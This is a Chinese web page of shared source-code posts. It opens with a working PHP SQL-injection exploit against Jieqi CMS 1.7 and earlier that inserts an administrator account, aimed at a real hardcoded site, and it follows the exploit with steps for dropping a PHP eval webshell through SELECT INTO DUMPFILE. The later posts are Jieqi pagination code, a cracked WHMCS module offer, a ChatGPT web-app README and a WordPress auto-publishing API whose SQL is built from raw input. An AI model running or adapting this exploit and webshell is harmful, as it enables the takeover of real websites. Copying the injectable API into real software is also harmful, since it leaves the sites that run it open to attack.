分类: 源码/模板

  • 杰奇1.7及以前版本的注入脚本

    使用此脚本会直接在目标网站的数据库中插入一个新的管理员,

    username = b1u3b0y
    password = lanhai

    本代码仅为实验用途,请勿用于非法用途。

    另:杰奇1.7官方版已经修复此漏洞。

    <?php
    error_reporting(0);
    set_time_limit(0);
    ini_set("default_socket_timeout", 5);
    
    $argv = array("","www.slzww.com","80","http://www.slzww.com/");
    
    function http_send($host, $packet, $port){
            $sock = fsockopen($host, $port);
            while (!$sock){
                    print "\n[-] No response from {$host}:$port Trying again...";
                    $sock = fsockopen($host, $port);
            }
            fputs($sock, $packet);
            while (!feof($sock)) $resp .= fread($sock, 1024);
            fclose($sock);
            print $resp;
            return $resp;
    }
    
    print_r('
    +---------------------------------------------------------------------------+
    |   Jieqi CMS Add Manager [version <=1.7]                                        |
    +---------------------------------------------------------------------------+
    +---------------------------------------------------------------------------+
    ');
    
    
    
    $host = $argv[1];
    $port = $argv[2];
    $path = $argv[3];
    $payload  = "username=woainimeimei&password=imnothack&repassword=imnothack&email=woainimeimei@163.COM&sex=9,'woainimeimei@163.COM','',0,0,'','','','','','','','',1332592733,0,0,0,1,0,0,0,0,10,10,0,0,0,0,0,0,0,0),(0, 0, 'niaiwome', 'niaiwome', '2eb429c676681a7bf5ae8702aa768363', 2, 1332592733, 'H', 9, 'justjsp@163.com', '', 0, 0, '', '', '', '', '', '', '', '', 1332592733, 0, 0, 0, 1, 0, 0, 0, 0, 10, 10, 0, 0, 0,0, 0, 0, 0, 0)#&qq=&url=&action=newuser&submit=%CC%E1+%BD%BB\r\n";
    $packet = "POST {$path}register.php?do=submit HTTP/1.1\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $packet .= "Content-Length: ".strlen($payload)."\r\n";
    $packet .= "Cookie: jieqiVisitInfo=jieqiUserLogin%3D1332488363%2CjieqiUserId%3D1; PHPSESSID=ho4u03ebnlq6cl6vlg1t2kbjg2";
    $packet .= "Connection: close\r\n\r\n";
    $packet .= $payload;
    
    http_send($host, $packet, $port);
    
    print_r('
    +---------------------------------------------------------------------------+
    [+] Add manager successful?  Please check it yourself!
    [ ] Default URL: http://localhost/admin
    [ ] username = b1u3b0y
    [ ] password = lanhai
    +---------------------------------------------------------------------------+
    [+] Get Webshell (mysql用户需要file_priv权限)
    [ ] [系统工具] -> [系统信息]  (Get Path)
    [ ] [数据维护] -> [数据库升级] 
    [ ] 执行 [ select concat(char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)) into dumpfile \'C:\\\\wwwroot\\\\1.php\' ]
    [ ] http://localhost/1.php (password:cmd)
    +---------------------------------------------------------------------------+
    ');
    ?>
  • 杰奇让小说目录页和内容页支持分页的方法

    找到
    modules\article\class\package.php
    目录分页
      1、找到以下代码段
         foreach($this->chapters as $k => $chapter){
      2、替换为
    
    
         //处理上一页和下一页页码
    
    $pageid = intval($_GET['page']);
    
    $aid = intval($_GET['aid']);
    
    $pagenum = 50;
    
    $pagecount =ceil( count($this->chapters)/$pagenum );
    
    if($pageid != 1){
    
    $previd = $pageid - 1;
    
    }
    
    if($pageid != $pagecount){
    
    $nextcid = $pageid + 1;
    
    }
    
    else{
    
    $nextcid = $pagecount;
    
    }
    
    //页码设置//
    
    $shouye = '<a href="reader.php?aid='.$aid.'">首页 </a>';
    
    $prepage = '<a href="reader.php?aid='.$aid.'&page='.$previd.'"> 上一页 </a>';
    
    $nextpage = '<a href="reader.php?aid='.$aid.'&page='.$nextcid.'"> 下一页 </a>';
    
    $weiye = '<a href="reader.php?aid='.$aid.'&page='.$pagecount.'"> 尾页</a>';
    
    //首页尾页处理
    
    //第一页
    
    if($pageid == 1 ){ $shouye = '';$prepage = ''; }
    
    //最后一页
    
    if($pageid == $pagecount){ $weiye = '';$nextpage = ''; }
    
    if($pageid == 1 && $pageid == $pagecount){
    
    $nextpage = '<a href="reader.php?aid='.$aid.'&page='.$nextcid.'">下一页 </a>';
    
    $weiye = '<a href="reader.php?aid='.$aid.'&page='.$pagecount.'"> 尾页</a>';
    
    }
    
    
    
    
    $pagelink = '
    
    <div class="page">'.$shouye.$prepage.$nextpage.$weiye.'</div>
    
    <div class="page">输入页数<input id="pageinput" size="4" /><input type="button" value="跳转" onclick = "page()" /> <br/>(第'.$pageid.'/'.$pagecount.'页)当前'.$pagenum.'条/页</div>
    
    <script>
    
    function page(){
    
    var p = document.getElementById("pageinput").value;
    
    if(isPositiveNum(p)){window.open("reader.php?aid='.$aid.'&page="+p+"/","_self");}
    
    function isPositiveNum(s){ 
    
    var re = /^[0-9]*[1-9][0-9]*$/ ;  
    
    return re.test(s)  
    
    }
    
    }
    
    </script>
    
    ';
    
    $jieqiTpl->assign('pagelink',$pagelink);
    
    //处理上一页和下一页页码结束
    
    
    
    
    $kkk = array_slice($this->chapters,($pageid-1)*$pagenum,$pagenum);//分页设置array_slice
    
    foreach($kkk as $k => $chapter){   //$this->chapters  改成 $kkk
    3、只需在模板文件适当的位置 使用标签 {?$pagelink?}即可
    杰奇阅读页分页代码使用说明
    第一步,打开/modules/article/class/package.php查找jieqi_content,在该语句上面一行加上以下代码:(若调用的不是pacheage.php而是其他文件,请修改对应的文件)
    $page = intval($_GET['page']);
    
    if ($page<1) $page=1;
    
    if($page){
    
    $length=strlen($tmpvar);
    
    $zishu=ceil($length/4)+10;
    
    if ($length<8000) $zishu=ceil($length/3)+10;
    
    if ($length<4000) $zishu=ceil($length/2)+10;
    
    if ($length<2000) $zishu=$length+10;
    
    $page_count=ceil($length/$zishu);
    
    function msubstr($str,$start,$len){
    
    $strlength=$start+$len;
    
    $tmpstr="";
    
    for($i=0;$i<$strlength;$i++) {
    
    if(ord(substr($str,$i,1))>0xa0) {
    
    $tmpstr.=substr($str,$i,2);
    
    $i++;
    
    }else{
    
    $tmpstr.=substr($str,$i,1);
    
    }
    
    }
    
    return $tmpstr;
    
    }
    
    //------------截取中文字符串---------
    
    $c=msubstr($tmpvar,0,($page-1)*$zishu);
    
    $c1=msubstr($tmpvar,0,$page*$zishu);
    
    $tmpvar=substr($c1,strlen($c),strlen($c1)-strlen($c));
    
    }
    
    $jieqiTpl->assign('prev',$page-1);
    
    $next=0;
    
    if ($page<$page_count) $next=$page+1;
    
    $jieqiTpl->assign('next',$next);
    
    $jieqiTpl->assign('page',$page);
    
    $jieqiTpl->assign('page_count',$page_count);
    
    $jieqiTpl->assign('jieqi_content',$tmpvar);
    第二步:打开阅读页模板文件:
    在TITLE标签里的章节名后面加上:{?if $page != 1?}-第{?$page?}页{?/if?}
    在章节名{?$jieqi_title?}后加上:{?if $page != 1?}(第{?$page?}/{?$page_count?}页){?/if?}
    以上两个不需要的可以不加
    在{?$jieqi_content?}后面加上–>>这几个字符,以免在截取到<br>中间的时候造成错位
    将上一页连接改成:{?if $prev==0?}{?if $preview_chapterid==”?}/wcxs/{?$article_id?}/{?else?}{?$preview_chapterid?}.html{?/if?}{?else?}/wcxs/{?$article_id?}/{?$chapter_id?}{?if $prev!=1?}_{?$prev?}{?/if?}.html{?/if?}
    将下一页连接改成:{?if $next==0?}{?if $next_chapterid==”?}/wcxs/{?$article_id?}/{?else?}{?$next_chapterid?}.html{?/if?}{?else?}/wcxs/{?$article_id?}/{?$chapter_id?}_{?$next?}.html{?/if?}
    上下页连接如需改成伪静态请按需修改
  • 一套小说采集系统的源码,支持cookie登录

    一套小说采集系统的源码,支持cookie登录

    源码是C#的,站长使用Visual Studio 2022打开无错,可以编译并运行采集。系统支持jieqi。

    有几个特点

    • 支持多线程并发
    • 支持用户名密码登录采集
    • 支持ocr识别图片转文字

    需要的请自取。请合法使用,不得使用任何非法用途。

  • Resellers Center For WHMCS v3.12.0破解版

    Resellers Center For WHMCS v3.12.0破解版

    34d8e8e562cfacacd321c15b569541e5-png.173009

    Resellers Center For WHMCS will empower your resellers to handle acquired customers and generated sales in your system, while also helping you keep all their ventures under essential supervision. It is through your resellers that end clients will be able to obtain products, addons and domains directly from you!

    The module features a flexible management model based on reseller groups. Each group you create can gain a diverse set of reselling permissions applicable to store branding, payment gateways, payouts’ calculation methods, and other conditions. You will be able to track the sales progress statistics, as well as draw up multiple variants of documentation for resellers. Importantly, you will not need to be involved in any of reselling activities directly – the resellers alone can offer promo codes, handle acquired purchases, or even respond in tickets. All without ever leaving your WHMCS!

    The genius of Resellers Center For WHMCS lies also in the choice between two reliable invoicing formulas. The first one will permit the resellers to configure independent payment gateways, issue customized invoices for end clients, and collect the money in a direct manner. Alternatively, you can receive payments settled by end clients in full, and then transfer payouts to your resellers either manually or automatically.

    Let your products and services be further marketed with incomparable comfort and efficiency. Order Resellers Center For WHMCS if you crave to widen the circle of satisfied audience and rocket generated profits in next to no time!

  • 无错ChatGPT升级 gpt-3.5-turbo-16k 模型

    无错ChatGPT升级 gpt-3.5-turbo-16k 模型

    第一步
    修改slice.ts文件 文件地址:/src/store/config/slice.ts
    ooLphHv8

    第二步
    修改index.tsx文件 文件地址:/src/pages/admin/token/index.tsx
    IAzxl6HC

    第三步
    修改package.json 文件地址:根目录
    FXUW4puc

    无错ChatGPT下载地址:

    [b2_insert_post id=”3301″]

  • WordPress 6.x 外部入库接口php文件(可适用于火车头,高铁,ET等)

    建议配合这个发布模块使用

    [b2_insert_post id=”638″]

     

    <?php
    /*
    WordPress免登录发布接口,支持最新Wordpress6.x
    
    更新说明
    T3: 2023.7.03
    1、优化了验证标题重复
    2、优化了附件、图片、缩略图的上传和生成
    
    ■ 功能特性:
    
    分类(category):
    1、分类支持分类名和分类ID, 系统自动判断
    2、多分类处理(多个分类请用逗号隔开)
    3、自动创建分类,如果网站内没有这个分类,会自动创建分类。
    4、自动创建父分类, 适用于想要设置父分类并且网站中不存在. 使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 post_parent_cate
    5、添加分类描述 使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 category_description
    
    标签:
    1、多标签处理(多个标签请用逗号隔开)
    
    作者:
    1、多作者处理, 可设置多个作者随机发布文章, 发布参数中指定post_author
    2、自定义作者功能,如果提交的数据为用户名的话,会自动检测系统是否存在该用户,如果已存在则以该用户发布,不存在则自动新建用户(接口以针对中文用户名进行了处理)
    
    图片和缩略图:
    1、Web图片上传,无需FTP上传
    2、自动设置【标签:内容】的第一张图片为文章的特色图片.
    3、支持自定定义缩略图(特色图像) 使用方法: WEB发布模块/高级功能/文件上传设置/ 增加 缩略图所在的标签,表单名为: thumb递增数字
    3、标准的php.ini单次最大文件上传数为20个, 如果发布的内容附件超过20个,将会出错. 如果遇到此问题请更改php.ini的max_file_uploads 参数 . 或者更换上传方式为FTP
    
    时间和预约发布:
    1、正确的时间格式为2017-10-01 23:45:55或者2017-10-01 23:45
    2、自动处理服务器时间与博客时间的时区差异
    3、随机时间安排与预约发布功能: 可以设定发布时间以及启用预约发布功能. 启用预约发布后,如果POST过来的数据包涵时间,则以时间为准立即发布,反之则以接口文件配置时间发布。
    
    评论:
    1、发布评论,支持评论时间、评论作者、评论内容, 需要在火车头->Web发布模块/内容发布参数/ ->新增 comment、commentdate、commentauthor三个参数,分别对应评论内容、评论时间、评论作者. 三个参数缺一不可
    
    其它:
    1、标题重复判断, 打开参数配置中的$checkTitle,即可判断标题是否重复,对于重复结果不予发布.
    2、发布文章后自动ping,需要再后台设置->撰写->更新服务 填入ping地址
    3、'pending review' 更新文章状态pending(审核) 为 publish(所有人可见)
    
    自定义字段
    1、使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 post_meta['字段名']
    
    自定义文章类型(post_type)
    1、使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 post_type
    
    自定义文章形式(post_format)
    1、使用此功能需要修改配置参数 $postformat=true;并在火车头->Web发布模块/内容发布参数/->新增发布参数post_format, 标签内容必须为: 图像: post-format-image 视频: post-format-video
    
    自定义分类(taxonomy):
    1、使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 post_taxonomy, 使用taxonomy之后, 文章只能发布在taxonomy所属的分类下, 分类名称或者ID请填写在分类category
    
    自定义分类--多个分类--(taxonomy):
    1、使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 post_taxonomy_list[taxonomy_name], 使用后可以将文章归属到多个自定义分类下, 多个term必须使用|||隔开
    
    自定义分类信息(add_term_meta)
    1、使用方法: WEB发布模块/高级功能/内容发布参数/ -> 增加 post_cate_meta['meta_key'], 标签内容可以为文本或者数组,数组必须参照格式: key$$value|||key$$value|||key$$value
    
    模块参数列表:
    post_title 必选 标题
    post_content 必选 内容
    tag 可选 标签
    post_category 可选 分类
    post_date 可选 时间
    post_excerpt 可选 摘要
    post_author 可选 作者
    category_description 可选 分类信息
    post_cate_meta[name] 可选 自定义分类信息
    post_meta[name] 可选 自定义字段
    post_type 可选 文章类型 默认为'post'
    post_taxonomy 可选 自定义分类方式
    post_format 可选 文章形式
    
    */
    
    //-------------------配置参数开始,根据需要修改-------------------------
    $post_author_default = 1; //默认作者的id,默认为admin(这里是作者ID号码,并非作者名)
    $post_status = 'future'; //立即发布 pending 审核 draft 草稿箱
    $time_interval = '1'; //发布时间间隔,单位为秒 。可设置随机数值表达式,如12345 * rand(0,17),设置为负数可将发布时间设置为当前时间减去这里设置的时间
    $post_next = 'now'; //now:发布时间=当前时间+间隔时间值 //next: 发布时间=最后一篇时间+间隔时间值
    $post_ping = false; //发布后是否执行ping
    $translate_slug = false; //是否将中文标题转换为MD5值,如需开启请设置为true或MD5值长度,建议设置为大于10,小于33的数字。
    $secretWord = false; //接口密码,如果需要密码,则设为$secretWord='你的密码';
    $checkTitle = false; //检测标题是否重复
    $postformat = true; //开启文章形式
    //-------------------配置参数结束,以下请勿修改-------------------------
    
    //开始
    if(isset($_GET['action'])){
    $hm_action=$_GET['action'];
    }else{
    die("操作被禁止>");
    }
    
    $post = $_POST;
    
    include_once "./wp-config.php";
    if($post_ping) require_once("./wp-includes/comment.php");
    
    if($hm_action== "list"){
    hm_print_catogary_list();
    }elseif($hm_action== "update"){
    hm_publish_pending_post();
    }elseif($hm_action == "save"){
    //检查通讯密码
    if (isset($secretWord)&&($secretWord!=false)) {
    if (!isset($_GET['secret']) || $_GET['secret'] != $secretWord) {
    die('接口密码错误,请修改配置文件或者修改发布参数,保持两者统一。');
    }
    }
    
    extract($post);
    //判断标题是否为空
    if ($post_title=='[标题]'||$post_title=='') {die('标题为空');}
    //检查标题是否重复
    if($checkTitle){
    $post_title = trim(hm_strip_slashes($post_title));
    $sql = "SELECT `ID` FROM $wpdb->posts WHERE `post_title` = '$post_title'";
    $t_row = $wpdb->query($sql);
    if($t_row) {die('标题重复,发布成功');};
    }
    //判断标题是否为空
    if ($post_content=='[内容]'||$post_content=='') {die('内容为空');}
    //检查自定义文章类型
    if (empty($post_type) || strpos($post_type, '[') || strpos($post_type, ']')) {$post_type='post';}
    //检查自定义分类目录
    if (empty($post_taxonomy) || strpos($post_taxonomy, '[') || strpos($post_taxonomy, ']')) {$post_taxonomy='category';}
    //检查分类描述是否未设置
    if (empty($category_description) || strpos($category_description, '[') || strpos($category_description, ']')) {$category_description='';}
    //检查自定义字段
    if(array_key_exists('post_meta', $post)){$post_meta = $post['post_meta'];}
    //检查自定义分类信息
    if(array_key_exists('post_cate_meta', $post)){$post_cate_meta = $post['post_cate_meta'];}
    //检查发布时间
    if (!isset($post_date) ||strlen($post_date)<8) $post_date=false;
    //检查作者
    if (empty($post_author)) {
    $post_author=$post_author_default;
    } else {
    $post_author=hm_add_author($post_author);
    }
    
    $post_content = fileHandle('fujian',$post_content);
    fileHandle('thumb');
    
    hm_do_save_post(array('post_title'=>$post_title,
    'post_content'=>$post_content,
    'post_category'=>$post_category,
    'post_excerpt'=>$post_excerpt,
    'post_type'=>$post_type,
    'post_taxonomy'=>$post_taxonomy,
    'tags_input'=>$tag,
    'post_date'=>$post_date,
    'post_author'=>$post_author,
    'fujianid'=>$fujianid));
    echo '发布成功';
    }else{
    echo '非法操作['.$hm_action.']';
    }
    
    //附件处理
    //$filename 附件名称
    //$content 标签内容,为空返回首张图片ID
    function fileHandle($filesnames, $content = null)
    {
    global $thumbid;
    if (!empty($_FILES[$filesnames.'0']['name'])) {
    require_once('./wp-load.php');
    require_once('./wp-admin/includes/file.php');
    require_once('./wp-admin/includes/image.php');
    $i = 0;
    while (isset($_FILES[$filesnames.$i])) {
    $fujian[$i] = $_FILES[$filesnames.$i];
    $filename = $fujian[$i]['name'];
    $fileExt=array_pop(explode(".", $filename));
    //附件保存格式【时间】
    $upFileTime=date("YmdHis");
    //更改上传文件的文件名为时间+随机数+后缀
    $fujian[$i]['name'] = $upFileTime."-".uniqid().".".$fileExt;
    $uploaded_file = wp_handle_upload($fujian[$i], array('test_form' => false));
    $content = str_replace("\'".$filename."\'", "\"".$uploaded_file[url]."\"", $content);
    $content = str_replace($filename, $uploaded_file[url], $content);
    if (isset($uploaded_file['error'])) {
    echo "文件上传失败";
    wp_die($uploaded_file['error']);
    }
    $file = $uploaded_file['file'];
    $new_file = iconv('GBK', 'UTF-8', $file);
    $url = iconv('GBK', 'UTF-8', $uploaded_file['url']);
    $type = $uploaded_file['type'];
    $attachment = array(
    'guid' => $url,
    'post_mime_type' => $type,
    'post_title' => $filename,
    'post_content' => '',
    'post_status' => 'inherit'
    );
    $attach_id = wp_insert_attachment($attachment, $new_file);
    if (strpos($fujian[$i]['type'], 'image') !== false) {
    if(empty($thumbid) || $filesnames == 'thumb') $thumbid = $attach_id;
    $attach_data = wp_generate_attachment_metadata($attach_id, $file);
    $attach_data['file'] = iconv('GBK', 'UTF-8', $attach_data['file']);
    foreach ($attach_data['sizes'] as $key => $sizes) {
    $sizes['file'] = iconv('GBK', 'UTF-8', $sizes['file']);
    $attach_data['sizes'][$key]['file'] = $sizes['file'];
    }
    wp_update_attachment_metadata($attach_id, $attach_data);
    }
    $i++;
    }
    }
    return $content;
    }
    
    function hm_tranlate($text)
    {
    global $translate_slug;
    $pattern = '/[^\x00-\x80]/';
    if (preg_match($pattern,$text)) {
    $htmlret = substr(md5($text),0,$translate_slug);
    } else {
    $htmlret = $text;
    }
    return $htmlret;
    }
    
    function hm_print_catogary_list()
    {
    $cats = get_categories("hierarchical=0&hide_empty=0");
    foreach ((array) $cats as $cat) {
    echo '<<<'.$cat->cat_ID.'--'.$cat->cat_name.'>>>';
    }
    }
    
    function hm_get_post_time($post_next="normal")
    {
    global $time_interval;
    global $wpdb;
    
    $time_difference = absint(get_option('gmt_offset')) * 3600;
    $tm_now = time()+$time_difference;
    
    if ($post_next=='now') {
    $tm=time()+$time_difference;
    } else { //if ($post_next=='next')
    $tm = time()+$time_difference;
    $posts = $wpdb->get_results( "SELECT post_date FROM $wpdb->posts ORDER BY post_date DESC limit 0,1" );
    foreach ( $posts as $post ) {
    $tm=strtotime($post->post_date);
    }
    }
    return $tm+$time_interval;
    }
    
    function hm_publish_pending_post()
    {
    global $wpdb;
    $tm_now = time()+absint(get_option('gmt_offset')) * 3600;
    $now_date=date("Y-m-d H:i:s",$tm_now);
    $wpdb->get_results( "UPDATE $wpdb->posts set `post_status`='publish' WHERE `post_status`='pending' and `post_date`<'$now_date'" );
    }
    
    function hm_add_category($post_category, $post_taxonomy = 'category')
    {
    if (!function_exists('wp_insert_category')) {include_once "./wp-admin/includes/taxonomy.php";}
    global $wpdb,$post_cate_meta,$post_parent_cate,$category_description;
    $post_category_new=array();
    $post_category_list= array_unique(explode(",", $post_category));
    foreach ($post_category_list as $category) {
    $cat_ID =$category;
    if (!isInteger($cat_ID) || $cat_ID < 1) {
    $category = $wpdb->escape($category);
    $term = get_term_by('name',$category,$post_taxonomy,'ARRAY_A');
    $cat_ID = $term['term_id'];
    if($cat_ID == 0){
    //检查父分类是否存在和创建父分类->start
    if(!empty($post_parent_cate) && $post_parent_cate != '[父分类]')
    {
    $parent = intval($post_parent_cate);
    if($parent == 0){
    $post_parent_cate = $wpdb->escape($post_parent_cate);
    $term = get_term_by('name',$post_parent_cate,$post_taxonomy,'ARRAY_A');
    $cat_ID = $term['term_id'];
    if($parent == 0){
    $parent = wp_insert_category(array('cat_name'=>$post_parent_cate, 'taxonomy'=>$post_taxonomy));
    }
    }
    $cat_ID = wp_insert_category(array('cat_name'=>$category, 'category_description'=>$category_description, 'category_parent'=>$parent, 'taxonomy'=>$post_taxonomy));
    
    }else{
    $cat_ID = wp_insert_category(array('cat_name'=>$category, 'category_description'=>$category_description, 'taxonomy'=>$post_taxonomy));
    }
    //检查父分类是否存在和创建父分类->end
    //定义分类信息->start
    if (!empty($post_cate_meta)) {
    foreach(array_unique(array_filter($post_cate_meta)) as $key => $value) {
    $value = strtoarray($value);
    add_term_meta($cat_ID, $key, $value);
    }
    }
    //定义分类信息->end
    }
    }
    array_push($post_category_new, $cat_ID);
    }
    return $post_category_new;
    }
    
    function add_category($post_category, $post_taxonomy = 'category')
    {
    if (!function_exists('wp_insert_category')) {include_once "./wp-admin/includes/taxonomy.php";}
    global $wpdb;
    $post_category_new=array();
    $post_category_list= array_unique(explode(",", $post_category));
    foreach ($post_category_list as $category) {
    $cat_ID =$category;
    if (!isInteger($cat_ID) || $cat_ID < 1) {
    $category = $wpdb->escape($category);
    $term = get_term_by('name',$category,$post_taxonomy,'ARRAY_A');
    $cat_ID = $term['term_id'];
    if($cat_ID == 0){
    $cat_ID = wp_insert_category(array('cat_name'=>$category, 'taxonomy'=>$post_taxonomy));
    }
    }
    array_push($post_category_new, $cat_ID);
    }
    return $post_category_new;
    }
    
    function isInteger($value){
    return is_numeric($value) && is_int($value+0);
    }
    
    function hm_add_author($post_author)
    {
    global $wpdb,$post_author_default;
    $User_ID =intval($post_author);
    if ($User_ID == 0) {
    $pattern = '/[^\x00-\x80]/';
    if (preg_match($pattern,$post_author)) {
    $LoginName = substr(md5($post_author),0,10);
    } else {
    $LoginName = $post_author;
    }
    $User_ID = $wpdb->get_col("SELECT ID FROM $wpdb->users WHERE user_login = '$LoginName' ORDER BY ID");
    $User_ID = $User_ID[0];
    if (empty($User_ID)) {
    $website = 'http://'.$_SERVER['HTTP_HOST'];
    $userdata = array(
    'user_login' => "$LoginName",
    'first_name' => $post_author,
    'user_nicename' => $post_author,
    'display_name' => $post_author,
    'nickname' => $post_author,
    'user_url' => $website,
    'role' => 'contributor',
    'user_pass' => NULL);
    $User_ID = wp_insert_user( $userdata );
    }
    $post_author = $User_ID;
    } else {
    $post_author = $post_author_default;
    }
    return $post_author;
    }
    
    function hm_strip_slashes($str)
    {
    if (get_magic_quotes_gpc()) {
    return stripslashes($str);
    } else {
    return $str;
    }
    }
    function checkDatetime($str){
    $date = strtotime($str);
    if($date > 31500000){
    return true;
    }else{
    return false;
    }
    }
    
    function formatdate($date){
    $d = date('Y-m-d');
    if(strpos($date, 'today') !== false){
    return str_replace('today at', $d, $date);
    }
    
    if(strpos($date, 'Today') !== false){
    return str_replace('Today at', $d, $date);
    }
    
    $dd = date('Y-m-d', time()-84600);
    if(strpos($date, 'yesterday') !== false){
    return str_replace('yesterday at', $d, $date);
    }
    
    if(strpos($date, 'Yesterday') !== false){
    return str_replace('yesterday at', $d, $date);
    }
    }
    
    //字符串转换为数组
    //字符串的格式必须为 //$str = 'eo_description$$seo_description|||seo_keywords$$seo_keywords|||seo_title$$seo_title';
    
    function strtoarray($str){
    if(strpos($str, '|||') !== false){
    $str = explode('|||', $str);
    if(strpos($str[0],'$$') !== false){
    foreach($str as $k => $v){
    $v = explode('$$', $v);
    $r[$v[0]] = $v[1];
    }
    $str = $r;
    }
    }
    return $str;
    }
    
    function hm_do_save_post($post_detail)
    {
    global $post,$post_author,$post_ping,$post_status,$translate_slug,$post_next,$post_meta,$comment,$commentdate,$commentauthor,$wpdb,$postformat,$post_format,$post_taxonomy_list,$thumbid;
    extract($post_detail);
    $post_title=trim(hm_strip_slashes($post_title));
    $post_name=$post_title;
    if ($translate_slug) $post_name=hm_tranlate($post_name);
    $post_name=sanitize_title( $post_name);
    if ( strlen($post_name) < 2 ) $post_name="";
    $post_content=hm_strip_slashes($post_content);
    $tags_input=str_replace("|||",",",$tags_input);
    if (isset($post_date) && $post_date && checkDatetime($post_date)) {
    $tm=strtotime($post_date);
    $time_difference = absint(get_option('gmt_offset')) * 3600;
    $post_date=date("Y-m-d H:i:s",$tm);
    $post_date_gmt = gmdate('Y-m-d H:i:s', $tm-$time_difference);
    } else {
    $tm=hm_get_post_time($post_next);
    $time_difference = absint(get_option('gmt_offset')) * 3600;
    $post_date=date("Y-m-d H:i:s",$tm);
    $post_date_gmt = gmdate('Y-m-d H:i:s', $tm-$time_difference);
    if ($post_status=='next') $post_status='publish';
    }
    $post_category=hm_add_category($post_category, $post_taxonomy);
    $post_data = compact('post_author', 'post_date', 'post_date_gmt', 'post_content', 'post_type', 'post_title', 'post_category', 'post_status', 'post_excerpt', 'post_name','tags_input');
    $post_data = add_magic_quotes($post_data);
    $postID = wp_insert_post($post_data);
    //设定缩略图
    set_post_thumbnail( $postID, $thumbid );
    
    //自定义分类方式(taxonomy)
    if($post_taxonomy != 'category' && !empty($post_taxonomy)){
    wp_set_object_terms($postID, $post_category, $post_taxonomy);
    }
    
    //多个自定义分类方式(taxonomy)
    if(!empty($post_taxonomy_list)){
    foreach($post_taxonomy_list as $k => $v){
    $v = strtoarray($v);
    if(is_array($v)){
    foreach($v as $kk => $vv){
    $vv = add_category($vv, $k);
    wp_set_object_terms($postID, $vv, $k);
    }
    }else{
    $v = add_category($v,$k);
    wp_set_object_terms($postID, $v, $k);
    }
    }
    }
    
    //归档文章形式->start
    if(!empty($post_format) && $postformat == true){
    if($post_format == 'post-format-image' || $post_format == 'post-format-video'){
    wp_set_post_terms($postID, $post_format, 'post_format');
    }
    }
    //归档文章形式->end
    
    //发布自定义栏目
    if (!empty($post_meta)) {
    foreach($post_meta as $key => $value) {
    $ret = add_post_meta($postID,$key,$value,true);
    if(!$ret){
    delete_post_meta($postID, $key);
    add_post_meta($postID,$key,$value,true);
    }
    }
    }
    
    //发布评论->start
    if(!empty($comment)){
    //格式化评论内容
    $comment = str_replace(array("\r\n", "\r", "\n"), "", $comment);
    $arraycomment = explode('|||', $comment);
    //格式化评论时间
    $commentdate = str_replace(array("\r\n", "\r", "\n"), "", $commentdate);
    $arraycommentdate = explode('|||', $commentdate);
    //格式化评论作者
    $commentauthor = str_replace(' ','',$commentauthor);
    $commentauthor = str_replace(array("\r\n", "\r", "\n"), "", $commentauthor);
    $arraycommentauthor = explode('|||', $commentauthor);
    //评论计数
    $comment_count = count($arraycomment) -1 ;
    //更新文章评论数
    $wpdb->get_results("UPDATE $wpdb->posts set `comment_count` = $comment_count WHERE `ID` = $postID");
    //写入评论
    foreach($arraycommentauthor as $k => $v){
    //判断评论时间
    if($v != ''){
    $format="Y-m-d H:i:s";
    $d = formatdate($arraycommentdate[$k]);
    $d = strtotime($d);
    if($d != ''){
    $date = date($format,$d);
    $gmtdate = gmdate($format, $d);
    }else{
    $date = date($format);
    $gmtdate = gmdate($format);
    }
    //写入数据库
    $res = $wpdb->get_results("INSERT INTO $wpdb->comments (`comment_post_ID`,`comment_author`,`comment_date`,`comment_date_gmt`,`comment_content`,`user_id`) VALUES ($postID,'$v','$date','$gmtdate','$arraycomment[$k]',1)");
    }
    }
    }
    //发布评论->end
    
    // 自定PING,需要再网站后台设置->撰写->更新服务器 下面填写PING地址
    if ($post_ping) generic_ping();
    }
    ?>
    
    
    
  • 可部署商业化的 ChatGpt 网页应用 1.31版

    可部署商业化的 ChatGpt 网页应用 1.31版

    ChatGPT Web

    A commercially-viable ChatGpt web application built with React.

    可部署商业化的 ChatGpt 网页应用。

    ? 演示

    页面链接

    Web 演示: https://www.aizj.top/

    演示地址:https://www.aizj.top
    后台地址:https://www.aizj.top/admin
    管理账号:admin@c.om
    管理密码:admin123
    

    如需帮助请提交 Issues 或赞赏时留下联系方式。

    页面截图

    68747470733a2f2f66696c65732e636174626f782e6d6f652f7470393633652e706e67 68747470733a2f2f66696c65732e636174626f782e6d6f652f7935617662782e706e67 68747470733a2f2f66696c65732e636174626f782e6d6f652f6b31366a737a2e706e67 68747470733a2f2f66696c65732e636174626f782e6d6f652f386f356f6a612e706e67

    ? 主要功能

    • 后台管理系统,可对用户,Token,商品,卡密等进行管理
    • 精心设计的 UI,响应式设计
    • 极快的首屏加载速度(~100kb)
    • 支持Midjourney绘画和DALL·E模型绘画,GPT4等应用
    • 海量的内置 prompt 列表,来自中文英文
    • 一键导出聊天记录,完整的 Markdown 支持
    • 支持自定义API地址(如:openAI / API2D

    ? 开始使用

    Node 环境

    node 需要 ^16 || ^18 || ^19 版本(node >= 16.19.0),可以使用 nvm 管理本地多个 node 版本。

    # 查看 node 版本
    node -v
    
    # 查看 npm 版本
    npm -v
    
    # 查看 yarn 版本
    yarn -v
    
    

    1.先 Fork 本项目,然后克隆到本地。

    git clone https://github.com/79E/ChatGpt-Web.git
    

    2.安装依赖

    yarn install
    

    3.运行

    # web项目启动
    yarn dev:web
    

    4.打包

    yarn build
    

    ⛺️ 环境变量

    如果是前后端分离模式部署项目则需要填以下配置

    VITE_APP_REQUEST_HOST

    请求服务端的Host地址。

    ? 开发

    强烈不建议在本地进行开发或者部署,由于一些技术原因,很难在本地配置好 OpenAI API 代理,除非你能保证可以直连 OpenAI 服务器。

    本地开发

    1. 安装 nodejs 和 yarn具体细节请询问 ChatGPT
    2. 执行 yarn install 即可
    3. web项目开发 yarn dev:web
    4. 服务端项目开发 yarn dev
    5. 打包项目 yarn build

    服务端

    1. 前端请求服务端的 接口文档 你们可以按照这个接口文档进行开发
    2. 如需帮助请提交 Issues 或赞赏时留下联系方式。

    ? 部署

